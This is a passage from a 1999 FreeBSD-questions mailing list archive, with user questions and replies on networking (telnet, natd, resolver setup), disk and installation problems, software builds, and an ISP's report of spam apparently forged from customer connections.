> Dana Point Communications, Inc.                            dan@dpcsys.com
> Dana Point, California  83 09 EF 59 E0 11 89 B4   8D 09 DB FD E1 DD 0C 82
>
>
>
>To Unsubscribe: send mail to majordomo@FreeBSD.org
>with "unsubscribe freebsd-questions" in the body of the message
>
>



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From owner-freebsd-questions  Wed Mar 24 13:49:24 1999
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Message-ID: <36F95E2E.FDF15CB@TurnAround.com.au>
Date: Thu, 25 Mar 1999 08:50:38 +1100
From: Andrew Johns <A_Johns@TurnAround.com.au>
Organization: TurnAround Solutions P/L
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To: Evan Parry <nave@azstarnet.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Telnet Troubles
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Evan Parry wrote:
> 
> Here's a rather odd problem that I've encountered for the last couple months:
> 
> Telnetting (or using ssh) to my FreeBSD box from the outside does not work.
> 'telnet localhost' connects fine (as does using ssh to the localhost) but
> telnet won't giving various error messages from 'operation timed out' to 'no
> route to host'.
> 
> The strange part of this all however is that other services work fine.  Web,
> FTP, SMTP all are able to connect fine from anywhere.  Also, I did not
> encounter this problem with Linux when I've tried it but all versions of
> FreeBSD I've used (from 2.2.5) have had this.
> 
> Any ideas? TIA
> 
Are you trying to log in as root?  If so, then it will always
fail as the default installation disallows root logins from
across a network.

Having said this, it sounds as though you aren't even getting the
Login: prompt - is this correct?

If that is the case, then there is something else "getting in the
way" - DNS doesn't seem likely as you can FTP, etc; firewalling
may be a problem but I'd imagine that you'd be aware of that. 
Are you trying to telnet into your system from the 'net - if so,
is your ISP passing telnet packets (they should be, but...).

Basically I need more info.

-- 
Regards                        |    _/\_/\
Andrew Johns BSc (Comp Sci)    |   /      \
TurnAround Solutions Pty Ltd   |   \_...__/
http://www.turnaround.com.au/  |        \/

"The box said 'Requires Windows 95, NT, or better,' so I
installed FreeBSD."


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From owner-freebsd-questions  Wed Mar 24 13:50:18 1999
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Date: Wed, 24 Mar 1999 13:49:57 -0800 (PST)
From: "Gregory A. Carter" <omni@dynmc.net>
To: freebsd-questions@freebsd.org
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I must be stupid but I sure as hell can't get /etc/hosts to setup the
localhost for the life of me.  Here's my config:

/etc/hosts:

127.0.0.1       localhost.dynmc.net     localhost

/etc/host.conf:

# $Id: host.conf,v 1.5 1998/11/16 02:02:30 jkh Exp $
# First try the /etc/hosts file
hosts
# Now try the nameserver next.
bind
# If you have YP/NIS configured, uncomment the next line
# nis

/etc/resolv.conf:

domain  dynmc.net
nameserver 127.0.0.1
nameserver 209.0.37.2
nameserver 209.209.29.2

I'm getting stuff like this..

(ns1)[66]:/etc# host localhost
Host not found.

(ns1)[67]:/etc# nslookup
*** Can't find server name for address 127.0.0.1: No response from server
Default Server:  ns1.interx.net
Address:  209.0.37.2

> 

Now if I set my resolv.conf to:

domain  dynmc.net
nameserver 209.0.37.10
nameserver 209.0.37.2
nameserver 209.209.29.2

Which is the physical ip address of the machine it works perfect.   And
yes I have a localhost.rev setup and it's correct.

Any ideas why it apparently isn't reading /etc/hosts?

Greg

+(Omni@Dynmc.Net)------------------------------------------------------+
| Dynamic Networking Solutions                     InterX Technologies |
| Senior Network Administrator                bits/keyID 1024/7DF9C285 |
| omni@interx.net omni@itstudio.net omni@undernet.org omni@webpop3.com |
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From owner-freebsd-questions  Wed Mar 24 13:50:31 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from luke.cpl.net (luke.cpl.net [209.150.92.68])
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Date: Wed, 24 Mar 1999 13:51:52 -0800
From: Shawn Ramsey <shawn@cpl.net>
To: questions@freebsd.org
Subject: BSDI compatibility
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Im trying to run the Merit AAA server, and get the following error :

ELF interpreter /shlib/ld-bsdi.so not found


Looking on a BSDI 3.0 machine, there is no file by that name. Where can I
get this file, and will that fix this problem? Will the Linux version work?
I would think there may be an issue with the type of password system linux
uses(shadow? )





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From owner-freebsd-questions  Wed Mar 24 14:13:36 1999
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Date: Wed, 24 Mar 1999 15:12:32 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Mark Bermal <mark@ieng9.ucsd.edu>
Cc: mbermal@ucsd.edu, freebsd-questions@FreeBSD.ORG
Subject: Re: Gimp/GTK install troubles (with logs!)
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Hi,

> I installed glib12 from the ports collection. I did a
>  "cd /usr/ports/devel/glib12"
>  make install

Is the library there?  (I think you said it was, but I can't recall now.)
If so, try grep'ing for localtime_r and see if it's in there.  It should
be.  If this fails (or localtime isn't in there) try rebuilding the glib12
port.  The gtk stuff is super-picky about versions/libs etc so maybe
something funny has happened.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Wed Mar 24 14:17:50 1999
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To: tront@cs.sfu.ca
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: natd problem 
In-reply-to: Your message of "Wed, 24 Mar 1999 13:18:01 PST."
             <3.0.3.32.19990324131801.00a11890@cs.sfu.ca> 
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From: Brian Somers <brian@Awfulhak.org>
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Perhaps ``options DIVERT'' isn't built into your kernel ?  Otherwise, 
maybe natd is listening to a different divert port from the one ipfw 
is telling the firewall to use.

> I am a university instructor of a network admin course that has been using
> freebsd unix for 2 years, we are currently using 2.2.7.  We are trying natd
> for the first time ever.  And after checking all available documentation we
> are stumped as to why we can't even ping one hop from the gateway to a
> public network machine while natd is running.
> We have followed the instructions on the man page exactly!
> We can ping from the internal machine to the gateway and visa versa.  But
> not through the gateway to the public network.  And more interestingly, not
> even from the gateway machine to the public network (one hop!).  When we
> kill natd and remove the divert firewall rule, ping is successful in all
> ways, including relay through the gateway, so the connectivity and routing
> is good.
> 
> The divert rule firewall timestamp is showing that it is being used at the
> time we attempt to pings, so the firewall is running.  And the firewall
> only has the specified 2 rules plus the final 65535 deny rule.   Also, we
> found that running natd in verbose mode generated no error messages.  And
> running in log mode didn't seem to generate any log in alias.log.
> 
> We have spent hours on this, and are beginning to disagree with the man
> page that states "Running natd is fairly straight forward".  Can you give
> us another pointer or two on where to look for some error in our setup.
> 
> Thanks VERY much,
> Russ Tront, Instructor
> School of Computer Science
> Simon Fraser University
> Burnaby, B.C.  V5A 1S6
> Canada.

-- 
Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
      <http://www.Awfulhak.org>
Don't _EVER_ lose your sense of humour !




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From owner-freebsd-questions  Wed Mar 24 14:37: 5 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 14:35:46 -0800
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Thanks to all who responded to my Installing From DOS Partition , I did get
that to finally 
install using auto-defaults and setting my release name to FREEBSD ( then
it read it from
c:\freebsd). Anyhow now I am trying to get my net connection up here is my
setup.

Cisco675 DSL ---> Ethernet(3c509b) ------> BSD

my problem is that in my hosts file it does'nt have my gateway and when I boot
BSD it says its doing ip multicast to 216.39.144.255. One thing I am confused
on is hostname, I don't have a fully qualify name just an static ip. Anyhow
here is my details..

ip     -> 216.39.144.146
gate -> 216.39.144.1
dns  -> 215.39.128.2
subn -> 255.255.255.0

How do make this work in BSD ??? please help !! 

Thanks 


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From owner-freebsd-questions  Wed Mar 24 14:38:52 1999
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From: "Sal" <sal@intellex.com>
To: <freebsd-questions@freebsd.org>
Subject: IP forging in Emails?
Date: Wed, 24 Mar 1999 16:42:50 -0600
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------=_NextPart_000_004B_01BE7615.5B38EA40
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	charset="iso-8859-1"
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Help!  I work for an ISP that uses BSD (although this probably has =
nothing to do with the OS).  We have made the appropriate settings to =
sendmail to prevent relaying from anyone outside of our network and our =
policies scream "no spamming!", yet someone is.

The spamming has been going on and on for the past three or four days.  =
No need to say our support Email box has a few hundred angry emails in =
it.  We'd normally approach the abuser and take the appropriate actions, =
but the problem is, we don't know who it is.

The actual mailing process covers a couple of hours and when we match up =
our Portmaster detail files with the IP addresses on the samples of spam =
we've received, it's a different user every time!  The Email's the same, =
but the user is different.  I don't believe we have a coalition of a few =
dozen users doing this.  I think someone is bouncing the spam from these =
innocent users' connections to make it appear as if the spam is coming =
from them.

I'm not just looking for a fix, but a way to catch this guy.  If it's =
any help, our service covers five main towns and all the IP addresses on =
these Email's come from the same city.

I'd love to get any suggestions you have because the sysadmin is pulling =
his hair out over this thing.  My address is sal@intellex.com and feel =
free to ask me for samples of the emails or whatever is needed to get =
this problem solved.  Thanks for your time and brain-power.

Sal

------=_NextPart_000_004B_01BE7615.5B38EA40
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD W3 HTML//EN">
<HTML>
<HEAD>

<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type>
<META content=3D'"MSHTML 4.72.3110.7"' name=3DGENERATOR>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>Help!&nbsp; I work for an ISP that =
uses BSD=20
(although this probably has nothing to do with the OS).&nbsp; We have =
made the=20
appropriate settings to sendmail to prevent relaying from anyone outside =
of our=20
network and our policies scream &quot;no spamming!&quot;, yet someone=20
is.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>The spamming has been going on and =
on for the=20
past three or four days.&nbsp; No need to say our support Email box has =
a few=20
hundred angry emails in it.&nbsp; We'd normally approach the abuser and =
take the=20
appropriate actions, but the problem is, we don't know who it =
is.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>The actual mailing process covers a =
couple of=20
hours and when we match up our Portmaster detail files with the IP =
addresses on=20
the samples of spam we've received, it's a different user every =
time!&nbsp; The=20
Email's the same, but the user is different.&nbsp; I don't believe we =
have a=20
coalition of a few dozen users doing this.&nbsp; I think someone is =
bouncing the=20
spam from these innocent users' connections to make it appear as if the =
spam is=20
coming from them.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I'm not just looking for a fix, but =
a way to=20
catch this guy.&nbsp; If it's any help, our service covers five main =
towns and=20
all the IP addresses on these Email's come from the same =
city.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>I'd love to get any suggestions you =
have because=20
the sysadmin is pulling his hair out over this thing.&nbsp; My address =
is <A=20
href=3D"mailto:sal@intellex.com">sal@intellex.com</A> and feel free to =
ask me for=20
samples of the emails or whatever is needed to get this problem =
solved.&nbsp;=20
Thanks for your time and brain-power.</FONT></DIV>
<DIV><FONT color=3D#000000 size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#000000 size=3D2>Sal</FONT></DIV></BODY></HTML>

------=_NextPart_000_004B_01BE7615.5B38EA40--



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From owner-freebsd-questions  Wed Mar 24 14:58:12 1999
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Date: Thu, 25 Mar 1999 09:27:45 +1030
From: Greg Lehey <grog@lemis.com>
To: Sal <sal@intellex.com>, freebsd-questions@FreeBSD.ORG
Subject: Re: IP forging in Emails?
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[Format recovered--see http://www.lemis.com/email/email-format.html]

On Wednesday, 24 March 1999 at 16:42:50 -0600, Sal wrote:
> Help!  I work for an ISP that uses BSD (although this probably has
> nothing to do with the OS).  We have made the appropriate settings to
> sendmail to prevent relaying from anyone outside of our network and
> our policies scream "no spamming!", yet someone is.
>
> The spamming has been going on and on for the past three or four
> days.  No need to say our support Email box has a few hundred angry
> emails in it.  We'd normally approach the abuser and take the
> appropriate actions, but the problem is, we don't know who it is.
>
> The actual mailing process covers a couple of hours and when we
> match up our Portmaster detail files with the IP addresses on the
> samples of spam we've received, it's a different user every time!
> The Email's the same, but the user is different.  I don't believe we
> have a coalition of a few dozen users doing this.  I think someone is
> bouncing the spam from these innocent users' connections to make it
> appear as if the spam is coming from them.
>
> I'm not just looking for a fix, but a way to catch this guy.  If
> it's any help, our service covers five main towns and all the IP
> addresses on these Email's come from the same city.
>
> I'd love to get any suggestions you have because the sysadmin is
> pulling his hair out over this thing.  My address is sal@intellex.com
> and feel free to ask me for samples of the emails or whatever is
> needed to get this problem solved.  Thanks for your time and
> brain-power.

Well, I suppose the first thing to do is to take a look at the log
messages and find out what's going on.  It should be possible to stop
this, but a lot depends on what exactly they're doing.  From your
description, it looks as if the spam is made to look as if it's coming
from your domain.

Oh, and I'd appreciate if you'd send lines of not more than 80
characters.  It's a pain to read these one-line-per-paragraph
messages.

Greg
--
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From owner-freebsd-questions  Wed Mar 24 15:17:13 1999
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how can i uninstall freebsd? i have bad file blocks on my hard drive and
i cant login normally. its on my laptop and i'd rather have win95 or
something like that, unless theres a way to fix these bad blocks.





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From owner-freebsd-questions  Wed Mar 24 15:37:38 1999
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From: tront@cs.sfu.ca
Subject: Re: natd problem 
Cc: freebsd-questions@FreeBSD.ORG
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At 10:16 PM 3/24/99 +0000, Brian Somers wrote:
>Perhaps ``options DIVERT'' isn't built into your kernel ?  Otherwise, 
>maybe natd is listening to a different divert port from the one ipfw 
>is telling the firewall to use.

Nope.  Like I said, we did everything in the 'Running Natd' portion of the
natd man page including rebuilding the kernel.  Do you have any other
suggestions?  Russ.
>
>> I am a university instructor of a network admin course that has been using
>> freebsd unix for 2 years, we are currently using 2.2.7.  We are trying natd
>> for the first time ever.  And after checking all available documentation we
>> are stumped as to why we can't even ping one hop from the gateway to a
>> public network machine while natd is running.
>> We have followed the instructions on the man page exactly!
>> We can ping from the internal machine to the gateway and visa versa.  But
>> not through the gateway to the public network.  And more interestingly, not
>> even from the gateway machine to the public network (one hop!).  When we
>> kill natd and remove the divert firewall rule, ping is successful in all
>> ways, including relay through the gateway, so the connectivity and routing
>> is good.
>> 
>> The divert rule firewall timestamp is showing that it is being used at the
>> time we attempt to pings, so the firewall is running.  And the firewall
>> only has the specified 2 rules plus the final 65535 deny rule.   Also, we
>> found that running natd in verbose mode generated no error messages.  And
>> running in log mode didn't seem to generate any log in alias.log.
>> 
>> We have spent hours on this, and are beginning to disagree with the man
>> page that states "Running natd is fairly straight forward".  Can you give
>> us another pointer or two on where to look for some error in our setup.
>> 
>> Thanks VERY much,
>> Russ Tront, Instructor
>> School of Computer Science
>> Simon Fraser University
>> Burnaby, B.C.  V5A 1S6
>> Canada.
>
>-- 
>Brian <brian@Awfulhak.org> <brian@FreeBSD.org> <brian@OpenBSD.org>
>      <http://www.Awfulhak.org>
>Don't _EVER_ lose your sense of humour !
>
>
>
>



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Subject: adding ips from other subnets
Date: Wed, 24 Mar 1999 18:42:42 -0500
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Hello
i was wondering if anybody came across this i want to add ip's from my
subnet at work to my machines at home which are connected 24/7 on SDSL
NETWORK
what do i need to do to get ips from my jobs subnet on my machines at
home???
Thanks in Advance Frank



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From owner-freebsd-questions  Wed Mar 24 15:44:39 1999
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Date: Tue, 25 Jun 1996 00:58:16 -0400
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I haven't subscribed to this mailing list yet,  so could you please
email me my answer. thanks.

I installed FreeBSD fine, it was a very easy  install, but when I press
F2 to boot it the computer just beeps. Then I read the FAQ and it says
that I need to toggle my bios support for >1gb hard drives and
reinstall.  I have a compaq presario 5245 and my bios doesn't say
anything about >1gb support.  I have an "ultra 33" enable/disable and an
"enhanced ide" enable/disable.  Also there is a primary and secondary
ide controller enable/disable, but no >1gb hard drive.  I don't really
want to have to delete my WinBlows partition, and I am installing from
that partition so I would have to order a cd, but I will do this if I
have to.

But is there anyway to create a boot disk that doesn't start the install
program.  I REALLY want to get back to a UNIX environment.  (Linux
user)  This is a new computer, and I forgot just how much I hate
windows.  PLEASE help, I've wrote to newsgroups and got no help.



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From owner-freebsd-questions  Wed Mar 24 15:54:19 1999
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Date: Thu, 25 Mar 1999 11:49:33 +1200 (NZST)
From: Jonathan Chen <jonc@pinnacle.co.nz>
To: tront@cs.sfu.ca
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: natd problem 
In-Reply-To: <3.0.3.32.19990324153349.00a189c0@cs.sfu.ca>
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On Wed, 24 Mar 1999 tront@cs.sfu.ca wrote:

> At 10:16 PM 3/24/99 +0000, Brian Somers wrote:
> >Perhaps ``options DIVERT'' isn't built into your kernel ?  Otherwise, 
> >maybe natd is listening to a different divert port from the one ipfw 
> >is telling the firewall to use.
> 
> Nope.  Like I said, we did everything in the 'Running Natd' portion of the
> natd man page including rebuilding the kernel.  Do you have any other
> suggestions?  Russ.

Looks like you're going to have to provide the list with a dump of
netstat -i, netstat -r, your ipfw rules, and how you're starting up natd.

Cheers.
--
Jonathan Chen                |     "In prosperity our friends know us;
                             |      in adversity we know our friends."
                             |                  - John Churton Collins




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From owner-freebsd-questions  Wed Mar 24 16: 1:54 1999
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Date: Wed, 24 Mar 1999 18:01:28 -0600 (CST)
From: Christopher Palmer <cpalmer@jig.ordway.org>
To: Rahul Dhesi <dhesi@rahul.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Out of Swap Space hangs system 
In-Reply-To: <199903232317.AA25480@waltz.rahul.net>
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On Tue, 23 Mar 1999, Rahul Dhesi wrote:

> >By all means provide an algorithm to solve it, if it concerns
> >you.  I think you'll find it's non-trivial.
> 
> Here's one possible algorithm, in pseudo-perl:
> 
>    for $pid (@all_active_pids) {
>       $critical_system_process{$pid} && next;
>       &kill($pid);
>       &got_enough_swap() && last;
>    }

That's a workaround, not a solution. Limiting the amount of virtual
memory users are alotted is an already-implemented workaround.


Christopher Palmer
Assistant Systems Administrator, Ordway Music Theatre
cpalmer@jig.ordway.org



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From owner-freebsd-questions  Wed Mar 24 16:11:20 1999
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Here is what I know.
    I have a compaq prosignia
        486 DX2/66
        1 Micropolis 1.0 GB
        1 Micropolis 2.0 GB
        1 Seagate 4.0 GB Baracuda
        64 MB RAM

        I has an NCR card that is not supported by release 3.1
integrated.

        I have an Adaptec 1522A in it now.
        I have to use a pentium 166 with an adaptec 2940 in order
        to install stuff to the drives. (It has no CDRom)

        but when I boot from the compaq itself I get an error
            (I appoligize, but I cannot get the message to come up
again)
            ...Unkown chip.. "i486DX"

        Is this because I installed FreeBSD on a pentium 166 and moved
to a 486 with all the drives?
        Can anybody give me a hint on how to get it to run?


Thank you in advance,
Adam Long
Manchester College



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From owner-freebsd-questions  Wed Mar 24 16:13:48 1999
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I am STILL having problems with my internal iomega zip drive (as well as my
sound card and connecting to
the internet, but one thing at a time)...anyway..., I get a "buggy" device
upon bootup (i.e. the zip drive), but basically I am wondering...does the
disk in the drive HAVE to have UFS instead of the MSDOS file system upon
bootup?

PS - My HDD is primary master, my CD-ROM is secondary master, and my
internal IDE ZIP is secondary slave.



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From owner-freebsd-questions  Wed Mar 24 16:15:40 1999
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To: Greg Lehey <grog@lemis.com>,
	Jaye Mathisen <mrcpu@internetcds.com>
From: Ludwig Pummer <ludwigp@bigfoot.com>
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At 09:48 PM 3/23/99 , Greg Lehey wrote:
>> Uh, vinum volumes can't be used for the root yet can they?
>
>Correct, that's still a restriction.  There are ways around it, and
>though they're ugly, they could work.  The only file that really needs
>to be in the root file system is the kernel, which isn't accessed
>after startup, so you could mount another file system on top of it.
>
>Greg

Hmm...

The kernel _and_ the vinum KLD _and_ an rc to load vinum _and_ mount (with
fstab) _and_ fsck if things ever go wrong.

--Ludwig Pummer ( ludwigp@bigfoot.com ) ICQ UIN: 692441


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From owner-freebsd-questions  Wed Mar 24 16:31:25 1999
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Date: Thu, 25 Mar 1999 11:00:54 +1030
From: Greg Lehey <grog@lemis.com>
To: dentoir <edtx@xs4all.nl>, questions@FreeBSD.ORG
Subject: Re: FreeBSD fails to detect my 2nd IDE controller.
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On Wednesday, 24 March 1999 at 20:20:50 +0100, dentoir wrote:
> When trying to install FreeBSD 3.1, I boot it from the CD-ROM itself and
> the default addresses for both my first and my second (0x170 irq 15) IDE
> controller are correct. When I continue, the kernel gives me the following
> message: wdc1 not found at 0x170 ... I'm sure this is the correct
> address. Did anybody have similar problems or does anybody know what
> might cause this? Maybe it's something in the BIOS?

What motherboard chipset do you have?  A dmesg output of a verbose
boot might be of advantage here.

Greg
--
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From owner-freebsd-questions  Wed Mar 24 16:40: 5 1999
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Message-Id: <199903250039.TAA14580@cc942873-a.ewndsr1.nj.home.com>
Subject: Re: "No disks found!" sysinstall problem
In-Reply-To: <003e01be763e$6bab9750$6d1e48d8@ps1.QUIK> from Juan Kuuse at "Mar 24, 99 03:36:47 pm"
To: kuuse@quik.guate.com (Juan Kuuse)
Date: Wed, 24 Mar 1999 19:39:44 -0500 (EST)
Cc: freebsd-questions@FreeBSD.ORG (FreeBSD Questions)
Reply-To: cjclark@home.com
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Juan Kuuse wrote,
> I have a 4 GB disk with win98 on the first 1 GB MSDOS partition,
> and trying to create a second 1.5 GB partition for FreeBSD, and a third
> FAT32 partition for windows.

Why do you want two separate MS partitions?

> fips.exe woun't work for FAT32 partitions, will it?

I thought it did.

> And when I run it, it hangs for a long time at the first "press any
> key"message,
> and then follows an error message:
> "Drive Initialization Failure: Errorcode 5
> Interrupt 13h 00h returned an error code"
> and the program ends.
> 
> So I use part.exe (Ranish Partition manager), where I can create 3
> partitions.
> Anyhow, it will not let me modify the win98 partition settings.

What settings are you trying to modify?

> When I try to install FreeBSD, I got the following error message:
> 
> "No disks found!  Please verify that your disk controller is being
>  properly probed at boot time.  See the Hardware Guide on the
>  Documentation menu for clues on diagnosing this type of problem."
> 
> Is this a problem due to the win98 partition?

Hard to say, maybe you should...

"Please verify that your disk controller is being properly probed at
boot time."

What information about your drive scrolls by as the kernel starts up?
Is your drive IDE or SCSI?

> I would appreciate some help with this problem!

This is more a 'freebsd-questions' matter. This response and followups
sent to questions.
-- 
Crist J. Clark                           cjclark@home.com


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From owner-freebsd-questions  Wed Mar 24 16:55:39 1999
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I am down to the last few days and need some desprate help

I am tring to set up some web cams at my house. I have a cable modem,
right now I have a server running natd off of one address to serve the
rest of my network. the webcams are on serveral different computers (I
have 4 in all) they are all working as I can see them from the inside of
the network.

I set up port 2047 in /etc/servers to say "webcam   2047/udp"
I then killed NATD and re-started it like this:
natd -n ed1 -redirect_port udp 192.168.0.2:webcam 2047

ed1 = my outside network address
192.168.0.2 = the inside address of the computer using the web cam

however it doesn't work, I have tried a couple of variations and cant
get it to do anything. if I do a port scan on 2047 from the outside it's
not open.

natd works just fine, I can still get to the internet no problem but the
port  isn't re-direction like it's suppose to.

from the inside I use:
http://192.168.0.2:2047/cgi-bin/video
and it brings up the camera
if I get this running I should use:
http://<outside address>:2047/cgi-bin/video

I have tried the man pages, and even bought the FreeBSD book but still
can't find an answer. please help as these need to be up by saturday....

--

 Don't ever forget to,
  -*HUGME*-
  http://www.hugme.org
  http://www.theatrenight.com   <-- comming soon
  hugme@hugme.org




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From owner-freebsd-questions  Wed Mar 24 17:14:46 1999
Delivered-To: freebsd-questions@freebsd.org
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Date: Wed, 24 Mar 1999 20:15:07 -0500
From: Glen Mann <gmann@cyberia.com>
Organization: Phrantic Physics
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Hello-  I saw this same problem posted back in November; just wondering if
there's been a solution or an alternative.  In particular I'm trying to do

  lftp -e "mirror -R" -u me,pass ftp.server.com

It won't even work in a script

  lftp -f upload.lftp

-------upload.lftp-------
open -u me,pass ftp.server.com
mirror -R
-------------------------

I even tried this on my local server.  No go.  Downloads are fine and work
better for my situation than wget.

Thanks
-Glen


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From owner-freebsd-questions  Wed Mar 24 17:47: 8 1999
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From: "Jeff Lush" <jeff@nerdpower.com>
To: <freebsd-questions@FreeBSD.ORG>
Subject: Hard disk problem
Date: Wed, 24 Mar 1999 18:47:48 -0700
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Hello Folks,

I am a new user to Unix and FreeBSD and have a question regarding a hard
drive problem.

I have had FreeBSD 3.1 (minimal install) installed on my PPro 200 clone for
2 weeks and have noticed a hard drive making a random "tink" noise (this is
not a usual sound). Also 2 days ago I got an error:

wd0s1e:wdstart:time out waiting to give command writing fsbn7776 of
7776-7787 (wd0s1e bn608640; cn75tn60sn60)(status 1<err>error2<tr000>)

My questions are, what is this error? does this error relate to the "tink"
noise I hear? Does this mean a hard disk is about to fail or could it be
that FreeBSD is not picking up the BIOS info on the hard disk?

Here is my hardware:

Pentium Pro 200
QDI Motherboard
128 MB RAM
3.2 GB Quantum Fireball H.D.
1.6 GB Western Digitial Caviar H.D.
24x IDE CDROM
10BaseT PCI Ethernet

Any info on this problem would be REALLY appreciated!

Thanks in advance,

Jeff Lush



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From owner-freebsd-questions  Wed Mar 24 17:49:53 1999
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To: Adam Ulmer <ulmer@ulmer.iserver.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: MySQL mysql-3.22.20a FreeBSD 3.1
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On Wed, 24 Mar 1999, Adam Ulmer wrote:

> I am having trouble building the latest mysql on the latest freebsd.  It
> seems to be having troubles with the MIT-PThreads.  It is my understanding
> that the threads in FreeBSD 3.1 (ie: native threads) are sufficient and
> that the mit-pthreads do not need to be installed.
> 
> Here is my info.  Thanks in advance.
> 
> adam# uname -a
> FreeBSD adam 3.1-RELEASE FreeBSD 3.1-RELEASE #0:  Mon Feb 15 11:08:08 GMT
> 1999 jkh@usw3.freebsd.org:/usr/src/sys/compile/GENERIC i386 
> adam# gcc --version
> 2.8.1
> adam# gmake --version
> GNU Make version 3.77, by Richard Stallman and Roland McGrath.
> adam# ./configure --with-mit-threads=no --prefix=/usr/local/mysql
> <snip>

	I'm assuming that since you are running configure from the prompt
that you are not building this from the ports collection?  I'd recommend
building it from the ports collection.




Joseph Scott
joseph@randomnetworks.com




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From owner-freebsd-questions  Wed Mar 24 18:31: 0 1999
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Subject: Re: Compiling perl on FreeBSD 3.0
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I'd say perl itself might be "broken". More specifically, I believe that
the 'Configure' script doesn't do the right thing.  It seems impossible
to build a /usr/local prefixed version of perl that doesn't interact
somehow with the one installed with the system prefixed in /usr

I believe that the port should be reinstated but got stuck trying to
fix it myself. Perl's configuration script was, uh, interesting to try
and follow.

Good Luck,

Jerry Hicks
wghicks@bellsouth.net

From: hometeam <hometeam@techpower.net>
Subject: Re: Compiling perl on FreeBSD 3.0
Date: Wed, 24 Mar 1999 16:02:28 -0500 (EST)

> 
> perl-5.00502 is marked as broken: perl is in system.
> 
> 
> On Wed, 24 Mar 1999, Corey A. Christians wrote:
> 
> > Recently I tried to compile the newest version of PERL on FreeBSD 3.0.  The problem that I cnofronted is that it would not compile.  Has anyone else run into this problem?  I finally went back to 2.2.8 and then Perl compiled so it has to be something with the newest version. 
> > 
> > ~~~~~~~~~~~~~~
> > | Corey Christians
> > | South Dakota Library Network
> > | Programmer/Analyst
> > | Phone:  605-642-6732
> > |1200 University, Spearfish, SD, 57799
> > 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Wed Mar 24 18:49:56 1999
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From: Rahul Dhesi <dhesi@rahul.net>
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To: freebsd-questions@freebsd.org
Subject: Re: Out of Swap Space hangs system 
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Christopher Palmer <cpalmer@jig.ordway.org> writes:

>On Tue, 23 Mar 1999, Rahul Dhesi wrote:

>> >By all means provide an algorithm to solve it, if it concerns
>> >you.  I think you'll find it's non-trivial.
>> 
>> Here's one possible algorithm, in pseudo-perl:
>> 
>>    for $pid (@all_active_pids) {
>>       $critical_system_process{$pid} && next;
>>       &kill($pid);
>>       &got_enough_swap() && last;
>>    }

>That's a workaround, not a solution. Limiting the amount of virtual
>memory users are alotted is an already-implemented workaround.

I don't mind if you call it a 'workaround'.

I only claim that it an 'algorithm'.  And it achieves the objective of
breaking deadlock and preventing the system from hanging or panicking.
-- 
Rahul Dhesi <dhesi@spams.r.us.com>


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From owner-freebsd-questions  Wed Mar 24 19: 3: 9 1999
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Date: Wed, 24 Mar 1999 22:05:33 +0000
From: Rob <drifter@stratos.net>
To: questions@FreeBSD.ORG
Subject: BACKSPACE v. DELETE
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     Hi guys,

     I got a puzzle here.  I'm having problems with getting my xterms
to properly interpret my BACKSPACE (^H) character as the erase character.
It gets kind of complicated, and I'll try to be brief.  I'm using KDE
as my desktop manager.

     o When I log in through character-based getty/login and then use
       `startx &' from the command line, launching xterm from KDE works
       fine. An `stty -a | grep erase' reveals that my erase key is
       properly set to ^H.
     o But when I launched either kvt or konsole under KDE under the
       above circumstances, an `stty -a | grep erase' shows that erase
       is set to ^?.

     Okay, so it has to do with the KDE terminals, right?  Except:

     o When I log in through kdm, both kvt and konsole behave as previous
       described.
     o But, unfortunately, under xterm the erase key is ALSO set to
       ^?.

     So, the method of starting my X session is, apparently, a
factor as well.
     I know that child processes inherit stty settings, so when I log in
with a character-based terminal (and erase is properly set to BACKSPACE),
a `startx' allows my X session and all of its children to properly
inherit the settings.  So, this is what I figured:

     o The getty/login processes sets stty erase to ^H and kdm sets it
       to DELETE.  So, if you launch X-windows with startx, you inherit
       ^H and from kdm DELETE.
     o kvt and konsole are overriding default terminal settings (yet I
       can't figure out how to set either KDE terminal emulators to
       the proper defaults.  They only provide options to convert a BACKSPACE
       to DELETE.)

     So, how do I solve this problem, so all graphical terminals have the
proper settings by default without resulting to a complex series of aliases
and configuration files?
     Launching these terminals by default doesn't read .profiles (or
.zprofiles).  I tried `stty erase ^H' in my xsession, but that doesn't
work.  I tried logging in with different desktop/window managers and
still have the same problem.
     I looked at login.conf to get some clues, but could find nothing there.
Is there anywhere that I missed?

     -Rob


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From owner-freebsd-questions  Wed Mar 24 19: 8:48 1999
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Date: Wed, 24 Mar 1999 22:11:02 +0000
From: Rob <drifter@stratos.net>
To: questions@FreeBSD.ORG
Subject: sysinstall package-add gotcha
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     Hi,

     Guys, before you groan I have a suggestion to make.  After I
finally got GNOME to compile, I was experimenting with it when I
decided that I wanted to install `ggv'.
     Okay, so I tried /usr/ports/print/ggv, but the file was unavailable
at all five of the sites that was checked.  Just for the hell of it,
I tried installing the package using /stand/sysinstall, minimized the
xterm and went about my business.
     After a while, I checked up on the installation to see what
